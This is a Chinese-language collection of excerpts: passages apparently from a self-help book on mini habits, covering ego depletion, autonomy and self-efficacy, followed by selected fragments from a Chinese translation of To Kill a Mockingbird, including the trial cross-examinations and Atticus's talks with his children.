　　人们曾认为意志力能给我们提供取之不尽、用之不竭的意志。具体观点是：只要想得到某个东西的愿望足够强烈，你就一直会有足够的意志力促使自己得到它。鲍迈斯特在 1996 年进行了一项多少有些残酷的研究，纠正了这个观点。实验开始时，一个房间里有 67 个被试，很快，房间里就弥漫着现烤的巧克力曲奇诱人的香味，随后，有人把曲奇和其他巧克力做的点心拿了进来。接下来，残忍的折磨就开始了——只有一部分被试可以得到巧克力，其他人的零食只有萝卜！即使我很爱吃生萝卜，我也能感受到他们的痛苦。

　　研究人员幽默地记录道，在吃萝卜的人中，有好几位对巧克力有明显的兴趣，他们渴望地看着巧克力，有几个人还拿起饼干使劲闻了闻。我说得没错吧？这真是个残酷的实验。

　　之后，吃巧克力和吃萝卜的被试同样要解答一个难题。在尝试答题所花的时间方面，吃萝卜组连吃巧克力组的一半都不到，而且在最终放弃之前尝试的次数也更少。没吃到巧克力而只能吃萝卜似乎耗尽了他们继续努力解答难题的意志。鲍迈斯特把这种现象命名为“自我损耗”（ego depletion）。迄今已有多项研究验证了这项突破性研究的结论。

用多余精力超额完成任务，而不是制定更大目标

　　如果你急于取得巨大进步，那就把精力投入超额完成任务中。大目标在纸面上看着漂亮，但只有行动才算数。目标渺小、结果丰硕的状态比反过来好多了。

其他

　　刚开始做一件事的兴奋在最初会有很大帮助，可是等到这股劲头渐渐消失，你开始怀疑有什么地方出了什么问题的时候，它又会成为强大的敌人。如果最开始就选择不依赖动力和感受，就能有效降低这种风险。

　　有热情是好事，但我们应该把这种思维模式看作一种额外奖励，而不是实施行动的信号。最好因为选择做一件事而做一件事，这样才能为成功打下坚实的基础，成效不会在之后出现剧烈波动。说句似乎有违常理的话：在一段时间过后出现热情不足的情况其实是个积极的信号，表明更稳定和自动的基底神经节正在慢慢夺取控制权。

　　2012 年有一项针对 411 人的工作满意度调查，其中 65% 的美国和加拿大调查对象表示他们对工作不满意或多少有些不满意。我认为部分原因在于传统管理哲学的目标是控制雇员，而不是发挥他们的能力。其他研究发现：自主权或对自己拥有控制权和决定权的感觉是工作满意度的一个首要因素。一家欧洲工作环境调查机构在丹麦进行的一项调查发现，“在对工作决定权较高的雇员中，将近 90% 的男性和将近 85% 的女性满意度较高，而在工作决定权较低的雇员中只有大约 56% 反馈了较高的工作满意度”。这是一个普遍真理的具体案例——人一旦感觉受到控制，就会消极怠工。人们厌恶这种情况。也许这正是因为自主权和自由度有着紧密的联系。

　　如果你阅读过关于行为科学的研究报告，应该对“自我效能感”一词并不陌生，它指对自己影响事件结果的能力的信念。一项进行了两年的随机试验显示，最低限度的自我效能感也对适应并维持锻炼活动有着关键的影响。这适用于想锻炼的人群，还有因为医疗目的需要而锻炼的人群（当然，为了保持健康，我们都应当锻炼）。研究人员在报告中记录道：“如果锻炼中的自我效能感得到评估和提升，那么按指定要求进行锻炼的病人更有可能成功。”

　　自我效能感有助于实现目标和建立习惯，但心理学家阿尔伯特·班杜拉（Albert Bandura）明确指出，“如果缺乏基本能力，期待值本身不会产生想要的结果”。只靠相信自己是不够的。在受抑郁、意志力薄弱和反复失败困扰的人群中，缺乏成功所需最基本的自我效能感的现象是很常见的。如果你认为自己会失败，那么就很难有好结果了。

　　微习惯策略是一个产出自我效能感的机器，重点是，你不需要任何自我效能感就能成功地开始行动，而你每天的成功会帮助你提升自我效能感。你怎么可能觉得自己不具备每天做 1 个俯卧撑的能力？在读两行字的时间里你就能把它完成，而且这就等同于通过练习强化自我效能感。微习惯策略还可以训练你相信自己。

　　记住，大脑会抓住你扔给它的任何一种重复行为，所以，许多人都会慢慢遇到一个问题——预计自己无法实现目标。长期下去，这会击溃他们的自我效能感，因为他们很难相信下次会有不同的结果（尤其在采用的还是上次无效的策略时）。如果你曾经有过绝望的感觉，这就是当时发生在你身上的情况。但你其实是能成功的，我可不是在激励你，我只是在讲逻辑。你确实可以在生活中取得进步，认为自己不行是缺乏逻辑的谬论，它之所以出现，正是因为你让自己相信你什么都做不了。

　　现在，你应该已经选好了一个习惯计划，你想养成的完整习惯可能包括健身、写作、阅读、喝水、感恩之心、冥想、编程等，接下来，我们就要缩小这些计划了。

杀死一只知更鸟

　　他们家原来也是梅科姆县人，妈妈在默里迪恩给一个摄影师工作，曾经把他的照片送去参加一个“漂亮宝贝”比赛，还赢得了五元钱奖金呢。她把钱给了迪尔，结果迪尔拿去看了二十场电影。

　　卡罗琳小姐顶多才二十一岁。她长着一头光滑的红褐色头发，脸颊白里透红，指甲涂成了深红色。她脚踩高跟鞋，身穿一条红白条纹的裙子，不论是看上去还是闻起来都像一颗薄荷糖。她寄宿在我们家斜对面的莫迪·阿特金森小姐家，住的是楼上的正房。莫迪小姐第一次把我们介绍给她的时候，杰姆一连好几天都像是在云里雾里。

　　“首先，”他说，“如果你能学会一个简单的技巧，斯库特，你和各种各样的人打交道就顺畅多了。你永远也不可能真正了解一个人，除非你站在他的角度考虑问题……”

　　“是这样吗？”

　　“……除非你钻进他的皮肤里，像他一样走来走去。”

　　莫迪小姐讨厌她的房子，在她看来，待在屋子里无异于虚掷光阴。身为寡妇的她是个变色龙一样的女人：在花坛里干活儿的时候，她头戴一顶旧草帽，身穿男式工作服，可等到下午五点钟她洗过澡之后再出现在门廊上时，她呈现出的那种凛然的美貌能征服一整条街。

　　“拉德利先生，嗯——是您把那个树洞用水泥填上的吗？”

　　“是的，”他回答道，“是我填上的。”

　　“为什么要填上呢，先生？”

　　“那棵树快要死了。树害病的时候，我们就往树洞里填上水泥。你应该知道这个，杰姆。”

　　直到傍晚，杰姆一个字也没再提起。我们再次经过那棵树的时候，他若有所思地拍了拍树上的水泥，仍然是一副思虑重重的样子。他似乎情绪很低落，于是我尽量不去招惹他。

　　像往常一样，那天傍晚我们也去迎候阿迪克斯下班回家。等走上台阶的时候，杰姆开口问道：“阿迪克斯，你往那边瞧，看看那棵树好吗？”

　　“哪棵树，儿子？”

　　“在拉德利家和学校挨着的那个角上，就是那棵。”

　　“怎么啦？”

　　“那棵树快要死了吗？”

　　“没有啊，儿子，我不这么觉得。瞧那些树叶，那么绿，那么茂盛，连一簇发黄的叶子都没有……”

　　“压根儿就没害病吗？”

　　“那棵树跟你一样健康，杰姆。为什么问这个？”

　　“内森·拉德利先生说它快死了。”

　　“噢，也许是吧。拉德利先生肯定比我们更了解他自己的树。”

　　阿迪克斯进屋去了，把我们俩留在前廊上。杰姆靠着一根柱子，肩膀在上面蹭来蹭去。

　　“你身上痒痒吗，杰姆？”我尽可能礼貌地问道。他一声不吭。“进屋吧，杰姆。”我说。

　　“等会儿。”

　　他在那儿一直站到天黑下来，我在一旁陪着他。进屋的时候，我发现他原来一直在哭，脸上脏兮兮的，这里一块，那里一块，恰到好处，可奇怪的是，我居然没有听到他的哭声。

　　“你这腔调很像是艾克叔公。”我说。叔公艾克·芬奇是梅科姆县唯一幸存的南方联盟军老兵。他留着胡德将军式的络腮胡子，并且颇引以为豪。阿迪克斯每年至少会带我和杰姆去拜访他一次，而且我还得亲吻他，那情景真是恐怖极了。我和杰姆毕恭毕敬地听阿迪克斯和他一起重温那段战争史。“告诉你，阿迪克斯，”艾克叔公每次都会说，“《密苏里妥协案》注打败了我们，但是如果必须再经历一次的话，我还会一步不差地走一遍老路，不过这次我们会给他们狠狠一击……时间转到一八六四年，‘石墙’杰克逊注重返战场——年轻人，你们问什么？噢，‘古老的蓝光’啊，他那时候已经上了天堂，愿上帝保佑他圣徒一般的面容安息吧……”

　　“你现在很喜欢说‘该死’‘见鬼’这些字眼儿，是不是？”

　　我说感觉是这样。

　　“我可不喜欢，”他说，“除非是在极其愤怒的情况下，否则绝不要使用这些字眼儿。我要在这儿住上一个星期，在这几天里，我不想再听见这些字眼儿。斯库特，如果你在外面说话带脏字，会惹上麻烦的。你长大了想当个淑女，是不是？”

　　我说也不是特别想。

　　“你当然想啦。现在，咱们去装饰圣诞树吧。”

　　亚历山德拉姑姑对我的穿衣打扮特别在意，都到了狂热的地步。在她看来，如果我穿马裤的话，就别想成为一名淑女，绝无任何可能；我说穿上裙子就什么也干不了了，她的回答是，我本来就不该去干那些得穿裤子去做的事儿。在亚历山德拉姑姑看来，我应该举止优雅，摆弄摆弄小炉灶和小茶具，再戴上我出生的时候她送给我的那条每年添加一颗珠子的珍珠项链；她甚至还提到，我应该成为父亲孤寂生活中的一缕阳光。我表达了自己的观点，说一个人穿裤子也能成为阳光，但姑姑说这个人的一举一动得像阳光一样才行，还说我刚生下来的时候还好，可是后来一年比一年不像话。她的评价让我大受刺激，一想起她我就恨得牙根痒痒。不过，我问过阿迪克斯的看法，他说我们家已经有足够的阳光了，我只要管好自己的事情就行了，不用多操心。他从来都不怎么在意我的行为举止。

　　“如果说舅爷爷阿迪克斯让你随便跟流浪狗一起满街乱跑，那是他的问题，就像奶奶说的，那不是你的错。还有，如果舅爷爷阿迪克斯同情黑鬼，我猜那也不是你的错，不过，我要告诉你，这件事儿确确实实让家族的其他人都跟着丢脸……”

　　“弗朗西斯，真见鬼，你到底是什么意思？”

　　“就是我说的意思啊。奶奶说，他让你们在外面疯跑已经够丢人现眼的了，现在他又成了个替黑鬼说话的人，我们再也没脸走在梅科姆的大街上了。他在一点点毁掉这个家族的名声，这就是他在干的事儿！”

　　弗朗西斯站起身，以百米冲刺的速度顺着过道往老厨房里逃窜。等拉开一段安全距离之后，他又喊了一声：“他就是个同情黑鬼的人，别的什么也不是！”

　　“胡说八道！”我怒吼起来，“我不知道你在说什么鬼话，不过你最好给我闭嘴，立刻！马上！”

　　我噌地跳下台阶，冲向过道，不费吹灰之力就揪住了弗朗西斯的领子。我让他赶紧把话收回去。

　　弗朗西斯猛地一挣，摆脱了我，飞快地窜进厨房，扯着嗓子大喊：“同情黑鬼的人！”

　　人在追踪猎物的时候，最重要的是从容不迫，等待时机。什么也不用说，他肯定禁不住好奇，早晚会冒出来。弗朗西斯在厨房门口露头了。“琼·露易丝，你还在生气吗？”他试探道。

　　“小事一桩，别提了。”我说。

　　弗朗西斯走出厨房，来到了过道上。

　　“弗朗——西斯，你收不收回你的话？”我出手太早了，弗朗西斯又一溜烟儿窜进了厨房，我只好退回到台阶上。我有足够的耐心等他出来。不过，我刚在那儿坐了约摸五分钟，就听见亚历山德拉姑姑问道：“弗朗西斯跑哪儿去了？”

　　“他在那儿，厨房里。”

　　“他知道不该到那儿去玩。”

　　弗朗西斯在门口现身了，喊道：“奶奶，是她把我赶进来的，她还不让我出去！”

　　“琼·露易丝，这是怎么回事儿？”

　　我抬起头来看着亚历山德拉姑姑。“不是我把他赶进去的，姑姑，我也没有不让他出来。”

　　“不对，就是她，”弗朗西斯大喊大叫，“她不让我出去！”

　　“你们是不是在胡闹？”

　　“琼·露易丝在对我发脾气，奶奶。”弗朗西斯喊道。

　　“弗朗西斯，你赶紧出来！琼·露易丝，你要再说一个字，我就去告诉你爸爸。还有，我刚才好像听见你说了一声‘见鬼’，是不是？”

　　“没有。”

　　“我就知道我听得没错，最好别让我再听见。”

　　亚历山德拉姑姑是个偷听别人说话的高手。她刚一离开，弗朗西斯就从厨房里探出头来，龇牙咧嘴地笑着说：“你别想玩过我。”

　　阿迪克斯送给我们两杆气枪之后，却不肯教我们如何射击。还是杰克叔叔教给了我们基本要领，他说阿迪克斯对枪压根儿就不感兴趣。有一天，阿迪克斯对杰姆说：“我宁愿让你们在后院射易拉罐，不过我知道，你们肯定会去打鸟。你们射多少冠蓝鸦都没关系，只要你们能打得着，但要记住一点，杀死一只知更鸟便是犯罪。”

　　那是我第一次听阿迪克斯说某种行为是犯罪，于是就去问莫迪小姐。

　　“你父亲说得没错，”她说，“知更鸟只是哼唱美妙的音乐供人们欣赏，什么坏事也不做。它们不吃人家院子里种的花果蔬菜，也不在谷仓里筑巢做窝，只是为我们尽情地唱歌。所以说杀死一只知更鸟是犯罪。”

　　“你竟敢跟我顶嘴！”杜博斯太太提高了嗓门，“还有你……”她用一根因患关节炎而扭曲变形的手指指着我，说，“你穿背带裤干什么？小姐，你应该穿上裙子和紧身衣！要是再没人管教你，你长大了就只能当女招待端盘子了——想想看吧，芬奇家的人在 O.K. 咖啡店里端盘子——哈！”

　　那年的春天很不错：白天越来越长，给了我们更多的时间尽情玩耍。杰姆的脑子几乎被全国各大学橄榄球员的得分情况塞得满满当当。每天晚上，阿迪克斯都给我们读报纸上的体育栏目。从亚拉巴马队的前景来看，他们今年有可能进入“玫瑰碗”决赛，不过，那些队员的名字我们一个也叫不上来。一天晚上，阿迪克斯正在给我们读温迪·西顿的专栏文章，电话铃响了。

　　他接了电话，就朝门厅的衣帽架走去。“我到杜博斯太太家去一趟，”他说，“不会待太长时间。”

　　可是，我上床睡觉的时候过去很久阿迪克斯都没回来。他进家门的时候，手里拿着一个糖果盒。阿迪克斯在客厅里坐下，把盒子放在椅子旁边的地板上。

　　“她想干什么？”杰姆问。

　　我们已经有一个多月没见过杜博斯太太了。我们从她家门前经过的时候，她从来没在廊上出现过。

　　“她死了，儿子。”阿迪克斯说，“就在几分钟前。”

　　“哦，”杰姆应了一句，“好吧。”

　　“确实算是件好事儿，”阿迪克斯说，“她不用再受折磨了。她已经病了很长时间。儿子，你都不知道她为什么会抽搐吧？”

　　杰姆摇摇头。

　　“杜博斯太太对吗啡上了瘾。”阿迪克斯说，“她靠吗啡来止痛，一连用了好几年，是医生给她开的。她本来可以靠这东西度过余生，用不着死得那么痛苦，可她偏要和自己较劲……”

　　“她想怎么样？”杰姆问。

　　阿迪克斯继续说：“就在你干了那件出格的事儿之前，她给我打电话，让我给她立遗嘱。雷诺兹医生告诉她说，她只剩几个月时间了。她的财产事务全都清清楚楚，明明白白，但她说：‘还有一件事情没处理好。’”

　　“什么事儿呢？”杰姆一脸困惑。

　　“她说，她要干干净净地离开这个世界，不亏欠任何人，也不依赖任何东西。杰姆，一个人要是病到她那种程度，随便用什么来缓解病痛都是无可厚非的，但她却不肯。她说，她一定要在离开人世之前戒掉吗啡，她也确实是这么做的。”

　　杰姆说：“这么说，她是因为这个浑身抽搐？”

　　“是啊，那是因为她犯了毒瘾。我怀疑，在你给她念书的时候，大部分时间她一个字也没听进去。她的全部心神都集中在那个闹钟上。就算你没有落在她手里，我也会让你去给她念书的，这也许能分散她的注意力。还有一个原因……”

　　“她死得了无牵挂吗？”杰姆问。

　　“就像山风一样自在。”阿迪克斯答道，“她一直到最后时刻几乎都是清醒的。”他轻轻一笑，“头脑清醒，而且脾气很坏。她依然反对我做的事情，没有丝毫动摇，还说我下半辈子大概都得花在为你保释上。她让杰茜给你准备了这个盒子……”

　　阿迪克斯伸手捡起那个糖果盒，递给杰姆。

　　杰姆打开盒子。里面是一朵洁白晶莹、完美无瑕的山茶花，用一团团湿棉花环绕着。那是一朵茶梅。

　　杰姆的眼珠子差点儿蹦出来。“老巫婆，老巫婆！”他尖叫着把山茶花摔在地上，“她怎么就不能放过我？”

　　阿迪克斯倏地站起来，俯身搂住了他。杰姆就势把脸埋进阿迪克斯的前襟里。“好啦，好啦，”阿迪克斯安慰道，“我想那是她用自己的方式告诉你——现在一切都过去了，杰姆，一切都过去了。你要知道，她是一位了不起的、尊贵的女士。”

　　“尊贵的女士？”杰姆抬起了头，他的脸红红的，“她说了你那么多坏话，你还把她当成一位尊贵的女士？”

　　“她当之无愧。她对各种事情都有自己的看法，也许和我的观点有很大不同……儿子，我告诉过你，假如你那次没有失去理智闯了祸，我也会让你去给她念书。我想让你从她身上学到一些东西——我想让你见识一下什么是真正的勇敢，而不是错误地认为一个人手里拿把枪就是勇敢。勇敢就是，在你还没开始的时候就知道自己注定会输，但依然义无反顾地去做，并且不管发生什么都坚持到底。一个人很少能赢，但也总会有赢的时候。杜博斯太太赢了，全凭她那九十八磅重的身躯。用她的话来说，她死得无牵无挂，不亏欠任何人，也不依赖任何东西。她是我见过的最勇敢的人。”

　　杰姆拾起地上的糖果盒，扔进炉火里，然后又捡起了那朵山茶花。我去睡觉的时候，看见他正用手指抚弄着宽大的花瓣。阿迪克斯在看报纸。

　　我本来可以用一堆理由来反驳她：卡波妮也是女的；我对男孩子感兴趣恐怕得等到猴年马月；我永远都不会对衣服有什么爱好……不过我还是乖乖闭上了嘴。

　　天是星期日，亚历山德拉姑姑在礼拜日很容易被触怒，我猜大概是因为她穿上了紧身胸衣的缘故。她不胖，但很结实，还总喜欢穿塑身内衣，把胸部撑到令人头晕眼花的高度，腰部勒得紧紧的，突出了宽大丰满的臀部，成功地向人们表明，她也曾拥有沙漏一般的身材。不管从哪个角度看，她的体态都令人触目惊心。

　　黑暗中传来迪尔平缓的声音：“其实，我想说的是——他们没有我会过得更好，我帮不上什么忙。他们一点儿也不小气。我想要什么，他们就给我买什么，可结果就是——‘你现在有了，自己拿去玩吧’。你拥有满满一屋子的东西。‘我给你买了这本书，你拿去读吧’，仅此而已。”迪尔故意让自己的声音显得很深沉，“你不是男孩。男孩都会跑出去和别的男孩一起玩棒球，不会整天在家里晃来晃去，招人厌烦。”

　　他又换成了自己的声音：“噢，他们不是小气鬼。他们亲吻你，拥抱你，跟你说晚安、早上好、再见，还告诉你他们有多爱你——斯库特，我们去弄个孩子来吧。”

　　“从哪儿弄呢？”

　　迪尔听说有这么一个人，他有条船，可以划到一个云雾缭绕的岛上，那里有好多好多婴儿，谁都可以预订一个……

　　“这是骗人的鬼话。姑姑说，孩子是上帝通过烟囱丢进屋子里来的。至少在我看来，她说的是这个意思。”只有那一次，姑姑的措辞不是那么清楚明白。

　　“根本不是那么回事儿。两个人在一起才能生孩子。不过，我还听说有这么一个人——他有好多好多婴儿，等着被人唤醒，他只要吹一口气，就能让他们活起来……”

　　“……真不明白你当初干吗要接这个案子，”林克·迪斯先生说，“阿迪克斯，你会因此失去一切。我是说所有的一切。”

　　“你真是这么认为的吗？”

　　这是一句杀伤力极强的问话。“斯库特，你真的想往那儿走吗？”啪啪啪，几下子就把我在棋盘上的全班人马吃光了。“儿子，你真是这样想的吗？来读读这篇文章吧。”杰姆那天晚上剩下的时间只有老老实实地啃亨利·W。格雷迪注的演讲稿。

　　“林克，那个小伙子可能免不了会坐上电椅，但是在真相大白之前他不能去。”阿迪克斯的声音十分平静，“而且你也知道真相是什么。”

　　人群里又泛起一片嘤嘤嗡嗡，阿迪克斯退到台阶边上，人群也向他靠拢过来，看起来情况不妙。

　　杰姆突然扯着嗓子叫了起来：“阿迪克斯，电话铃响了！”

　　聚集在外面的人惊了一跳，向后散开了。这些人我们差不多每天都会碰见：有店主商贩，有住在镇上的农夫，雷诺兹医生也在其中，还有艾弗里先生。

　　“噢，儿子，你去接一下。”阿迪克斯喊道。

　　人们哄笑着四散而去。阿迪克斯打开客厅的顶灯，发现杰姆正趴在窗台上，脸色煞白，只有鼻子上的纱窗印痕无比鲜明生动。

　　“你们干吗坐在黑暗里呢？”

　　杰姆默默地看着他走回椅子边，拿起晚报。我有时候禁不住会想，阿迪克斯每次遇上危机，都能从容不迫地躲在《莫比尔纪事》《伯明翰新闻》和《蒙哥马利新闻报》后面静静地审时度势。

　　“他们是来逼迫你的，对吗？”杰姆向他走去，“他们想逼你就范，是不是？”

　　阿迪克斯放下手里的报纸，注视着杰姆。“你最近在看什么书报？”他问。然后他温和地回答道：“不是，儿子，他们是我们的朋友。”

　　“他们不是……不是个团伙吗？”杰姆从眼角斜睨着父亲。

　　阿迪克斯强忍着不让自己笑出来，可还是没能忍住。“不是，咱们梅科姆没有暴徒，没有那些乱七八糟的东西。我从没听说过梅科姆有什么团伙。”

　　阿迪克斯说过，与人交谈的礼貌做法是谈论对方感兴趣的事情，而不是大谈特谈自己的兴趣点。

　　我开始紧张起来。阿迪克斯似乎胸有成竹——但在我看来，他就像是在摸黑叉青蛙。在交叉讯问证人的过程中，千万，千万，千万不要问你事先不知道答案的问题——这个原则我从吃奶的时候起就了然于胸。这么做的结果是，你常常会得到一个你不想要的答案，这个答案可能会毁掉你的诉讼。

　　“你想让我说没有发生过的事儿吗？”

　　“不，女士，我想让你说出真实发生的情况。请再告诉我们一遍，当时到底发生了什么？”

　　“我已经告诉你发生了什么。”

　　“你在证词中说，你一转身，发现他就站在你面前，接着他就掐住了你的脖子？”

　　“是的。”

　　“然后他又松开你的喉咙，开始打你？”

　　“我说过，他打了我。”

　　“他用右拳把你的左眼打得乌青？”

　　“我低头一躲，他——他打空了，就是这样。我低头一躲，他的拳头没打中。”马耶拉终于开窍了。

　　“你突然想清楚了这个细节。刚才你还记不太清呢，对不对？”

　　“我说过他打了我。”

　　“好吧，他卡住你的脖子让你喘不过气来，他打你，然后又强奸了你，是这样吗？”

　　“就是这样。”

　　“你是个强壮的姑娘，在整个过程中，你在做什么？只是站在那儿吗？”

　　“我说过了，我大声喊叫，又是踢又是踹，拼命反抗……”

　　阿迪克斯抬手摘下眼镜，把视力好的右眼转向证人，他抛出的问题像雨点一般噼里啪啦砸向她。泰勒法官说：“阿迪克斯，一次问一个问题好不好，让证人有机会回答。”

　　“好吧。你为什么不跑？”

　　“我试过……”

　　“试过？那你怎么没跑掉？”

　　“我——他把我摔在了地上。他就是这么干的，他把我摔倒在地，压在了我身上。”

　　“你一直都在尖叫？”

　　“当然啦。”

　　“那家里别的孩子怎么没听见？他们当时在哪儿？在垃圾场吗？”

　　没有回答。

　　“他们在哪里呢？”

　　没有回答。

　　“他们听到你的尖叫声怎么没有跑回来？垃圾场离你比林子还近，不是吗？”

　　没有回答。

　　“或者你是等到看见你父亲出现在窗口才开始尖叫？你直到那时候才想起来要尖叫，对不对？”

　　没有回答。

　　“你最先是对着你父亲尖叫，而不是对着汤姆·鲁宾逊吧？是不是这样？”

　　没有回答。

　　“到底是谁打了你？是汤姆·鲁宾逊还是你父亲？”

　　没有回答。

　　“你父亲在窗口看到了什么？是强奸现场还是你在拼命反抗？孩子，你为什么不说实话？是不是鲍勃·尤厄尔打的你？”

　　阿迪克斯从马耶拉面前转身走开，他的神态就像是犯了胃痛，马耶拉脸上是恐惧和愤怒交织在一起的表情。阿迪克斯疲惫地坐下来，用手帕擦着眼镜。

　　“到我这儿来，孩子。我给你喝点儿东西，能让你胃里舒服起来。”

　　多尔夫斯·雷蒙德先生不是善良之辈，我万分不情愿接受他的邀请，可还是跟着迪尔一起过去了。我心里暗想，如果阿迪克斯知道我们和雷蒙德先生如此亲近，他可能会不高兴，至于亚历山德拉姑妈，她百分之百不会赞成。

　　“给你，”他说着，把插着吸管的纸袋递给了迪尔，“吸上一大口，就舒服啦。”

　　迪尔叼住吸管吸了一口，脸上绽开了笑容，接着大口啜饮起来。

　　“嘿嘿。”雷蒙德先生显然把怂恿小孩学坏当成了一件乐事。

　　“迪尔，你要当心。”我向他发出警告。

　　迪尔松开吸管，咧嘴一笑。“斯库特，这只是可口可乐啊。”

　　雷蒙德先生靠着树干坐了起来。他刚才一直躺在草地上。“你们这两个小家伙，不会给我泄露秘密吧？说出去会坏了我的名声。”

　　“您是说，您从纸袋里喝的从来都是可口可乐？纯可口可乐？”

　　“没错，女士。”雷蒙德先生点点头。他身上的气味很好闻，混合了皮革、马匹和棉籽的气息。他脚上的那种英国马靴我只见他一个人穿过。“我差不多只喝这个。”

　　“这么说，您只是假装……对不起，先生，”我赶忙打住话头，“我不是故意要……”

　　雷蒙德先生嘿嘿一笑，丝毫没有生气的样子，于是我试着改用不那么冒失的措辞又一次问道：“您为什么要那样呢？”

　　“为什么——噢，明白了，你是问我为什么要假装？这个嘛，非常简单，”他说，“有些人不喜欢……我这样的生活方式。现在我可以说，让他们见鬼去吧，我才不在乎他们喜不喜欢。事实上，我确实说过我不在乎他们喜欢不喜欢——但我并没说让他们见鬼去吧。明白了吗？”

　　我和迪尔异口同声地说：“不明白，先生。”

　　“你们看，我是在给他们一个理由啊。如果人们能把事情归结于一个理由，就好办多了。我很少到镇上来，每次露面的时候，如果我晃晃悠悠的，还时不时从这个纸袋里喝点什么，他们就可以说，多尔夫斯·雷蒙德成了威士忌的俘虏——所以他不会洗心革面了。他根本管不住自己，所以才过着那种生活。”

　　“这样是不诚实的，雷蒙德先生，会让您显得更坏，您本来就已经够……”

　　“就算这是不诚实，但对旁人来说是大有好处的。芬奇小姐，私下里我并不怎么喝酒，可是你知道吗，他们永远，永远也不可能理解——我之所以这样生活，是因为这就是我想要的生活方式。”

　　“你曾经因为扰乱公共秩序被判处三十天监禁，对吗，汤姆？”吉尔莫先生问道。

　　“是的，先生。”

　　“那个黑鬼最后被你打成了什么样子？”

　　“吉尔莫先生，是他打的我。”

　　“没错，可是你也被判刑了，对不对？”

　　阿迪克斯抬起了头。“那是一桩轻罪，有案可查，法官。”我听出他有些疲惫。

　　“让证人自己回答。”泰勒法官的声音也显出了倦怠。

　　“是的，先生，我被判了三十天。”

　　我知道吉尔莫先生会诚心诚意地告诉陪审团，任何一个因扰乱社会治安被判刑的人都很有可能会存心占有马耶拉·尤厄尔，他只关心这一点，别无他念。这样的推论会起到作用。

　　“鲁宾逊，你很擅长用一只手劈开大立柜，还有劈柴火，是吗？”

　　“是的，先生，我想是吧。”

　　“你的力气也足够卡住一个女人的脖子让她喘不上气，把她摔倒在地上，对吧？”

　　“我从来没有做过这样的事儿，先生。”

　　“可你有足够的力气，能够做到，对吗？”

　　“我想是吧，先生。”

　　“小子，你已经盯了她很长时间了吧？”

　　“没有，我从来没有盯过她。”

　　“那你帮她劈柴、打水，干了那么多活儿，可真是够体贴的，对不对？”

　　“我只是想给她帮帮忙，先生。”

　　“你真是太慷慨大方了，你每天做完工回到家，也有杂活儿要干吧？”

　　“是的，先生。”

　　“你为什么不给自己家干活儿，反而去帮助马耶拉小姐？”

　　“两边的活儿我都干，先生。”

　　“你一定很忙吧。为什么还要这样做呢？”

　　“先生，您指的是什么？”

　　“你为什么这么热心，主动帮一个女人干家务活儿？”

　　汤姆·鲁宾逊迟疑起来，看样子是在搜肠刮肚寻找说辞。“她好像没人帮忙，就像我刚才说过的那样……”

　　“怎么会呢，小子，那个家里有尤厄尔先生，还有另外七个孩子。”

　　“噢，我说过，他们好像从来都不帮她……”

　　“小子，你干这些劈柴、打水的活儿，纯粹是出于好心？”

　　“我说过，我只是尽力帮点儿忙。”

　　吉尔莫先生对着陪审团冷冷地一笑。“你看起来真是个大好人啊——干了这么多事情，从来都分文不取。”

　　“是的，先生，她挺让人可怜的，她好像比家里其他人都尽心尽力……”

　　“你竟然会可怜她？你竟然会可怜她？”吉尔莫先生惊讶得差点儿撞到天花板上。

　　证人这才意识到自己说错了话，在椅子里局促不安地动来动去。可话一出口，覆水难收。坐在楼下的人，没有一个会觉得汤姆的话中听。吉尔莫先生停顿了好长时间，好让这句话充分渗透到人们的内心深处。

　　“去年十一月二十一日，你像往常一样经过尤厄尔家，”吉尔莫先生开口道，“她喊你进去劈开一个大立柜，是这样吗？”

　　“不是的，先生。”

　　“你否认那天经过了她家？”

　　“不，先生——当时她说屋里有活儿让我帮忙。”

　　“她在证词中说，那天她让你帮她劈开一个大立柜，对吗？”

　　“不是，先生，不是这样的。”

　　“你是说她撒了谎吗，小子？”

　　阿迪克斯忍不住站了起来，不过汤姆·鲁宾逊并不需要他助自己一臂之力。“我并不是说她撒谎，吉尔莫先生，我的意思是说，她记错了。”

　　吉尔莫先生又一连问了十个问题，都是按照马耶拉的证词重现当时的情景，证人的回答一律是“她记错了”。

　　“尤厄尔先生难道没有把你赶跑吗，小子？”

　　“没有这回事儿，先生，我不认为有过。”

　　“你不认为有过，这是什么意思？”

　　“我是说，我根本没待那么长时间，没等到他赶，我就走了。”

　　“你在这件事情上倒是很坦率，那你为什么溜得那么快？”

　　“我说过，当时我很害怕，先生。”

　　“如果你清白无辜，为什么要害怕呢？”

　　“就像我刚才说过的那样，任何一个黑人，处在那种……困境中，都很危险。”

　　“可是你并没有身处困境啊——你在证词中说，你当时正在拒绝尤厄尔小姐。像你这样的大块头，难道害怕她会伤害你，以至于撒腿就跑？”

　　“不是，先生，我害怕会上法庭，就像现在这样。”

　　“害怕被抓起来，害怕不得不面对自己的所作所为？”

　　“不是，先生，是害怕不得不面对自己没有做过的事儿。”

　　“你是在故意顶撞我吗，小子？”

　　“不，先生，我绝无此意。”

　　吉尔莫先生的交叉讯问我只听了这么多，因为杰姆命令我把迪尔带出法庭。也不知道为什么，迪尔突然哭了起来，而且一发不可收拾。一开始他只是静静地抹眼泪，后来他的抽泣声越来越大，看台上有好几个人都听到了。杰姆说，如果我不带他出去，他就要对我下命令了，塞克斯牧师也劝我最好离开，于是我就照办了。

　　“儿子，如果你是那个陪审团的一员，而且另外十一位成员也是跟你一样的男孩子，汤姆现在就已经是个自由人了。”阿迪克斯说，“到目前为止，你的生活中还没有什么会干扰你的推理过程。汤姆的陪审团成员，是十二个通情达理的普通人，可是你却能看到在他们和理性之间隔着一层东西。那天夜里，在监狱大门前，你也看见了同样的情形。那帮人最后之所以离开，也并不是因为理性占了上风，而是因为我们守在那里。在我们生活的这个世界上，总有什么东西让人丧失理智——即使他们努力想做到公平，结果还是事与愿违。在我们的法庭上，当对立双方是一个白人和一个黑人的时候，白人总是胜诉。这些事情很丑恶，可现实生活就是如此。”

　　“那还是不公平。”杰姆执拗地说，他用拳头轻轻捶打着膝盖，“绝对不能在只有那种证据的情况下给一个人定罪——绝对不行。”

　　“按理说是不能，可他们就那么做了。随着年龄的增长，你还会看到更多这类情况。法庭本应是人们得到公平对待的地方，不论这个人是什么肤色，但陪审团包厢里一贯有人把个人恩怨夹带进去。等你再长大一些，你会发现每天都有白人欺骗黑人的事情发生，不过我要告诉你一句话，你一定要牢牢记住——一个白人只要对黑人做了这种伤天害理的事情，不管他是什么人，不管他多么富有，也不管他出身多么高贵，这个白人就是人渣。”

